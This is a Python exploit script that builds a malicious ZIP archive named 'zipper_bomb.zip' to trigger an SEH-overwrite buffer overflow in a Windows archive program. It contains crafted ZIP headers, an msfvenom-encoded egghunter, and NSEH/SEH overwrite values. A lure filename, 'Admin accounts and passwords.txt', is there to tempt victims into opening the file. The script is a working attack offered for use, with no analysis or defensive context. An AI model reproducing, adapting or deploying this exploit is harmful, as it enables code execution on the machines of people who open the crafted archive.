#!/usr/bin/env python

from os import remove
from struct import pack

evil_filename = "zipper_bomb.zip"
payload_ext = ".txt"
max_size = 4064
nseh_offset = 1022

ldf_header = (
    "\x50\x4B\x03\x04\x14\x00\x00"
    "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\xe4\x0f"  # file size
    "\x00\x00\x00"
)

cdf_header = (
    "\x50\x4B\x01\x02\x14\x00\x14"
    "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\xe4\x0f"  # file size
    "\x00\x00\x00\x00\x00\x00\x01\x00"
    "\x24\x00\x00\x00\x00\x00\x00\x00"
)

eofcdf_header = (
    "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
    "\x12\x10\x00\x00"  # Size of central directory (bytes)
    "\x02\x10\x00\x00"  # Offset of start of central directory,
    # relative to start of archive
    "\x00\x00"
)

#root@kali:~# msfvenom -p generic/custom PAYLOADFILE=egghunter.bin -e x86/alpha_mixed BufferRegister=EDX -a x86 --platform Windows 
encoded_egghunter = "JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJICVNazjYoTOqRf2SZS2Chjm6NGLgubz0tholx3GfPDpbTNkkJnOsEZJloQeJGIoHgAA"
filename =  "Admin accounts and passwords.txt" + " " * 100
junk  = encoded_egghunter  
junk += "A" * (nseh_offset - len(filename + encoded_egghunter))
nseh = "BBBB"
seh = pack("<L",0x00433b3b)
payload = filename + junk + nseh + seh


rest = "D" * (max_size - len(payload))
payload = payload + rest + payload_ext
payload_len = len(payload)

print("[*] Size : {length} bytes".format(length=payload_len))
print("[*] Removing old {filename} file".format(filename=evil_filename))
try:
    remove(evil_filename)
except OSError:
    print("[!] Couldn't remove, probably doesn't exist. Ignoring this error")
    pass
print("[*] Creating new {filename} file".format(filename=evil_filename))
with open(evil_filename, "w") as f:
    file_content = ldf_header + payload + cdf_header + payload + eofcdf_header
    f.write(file_content)

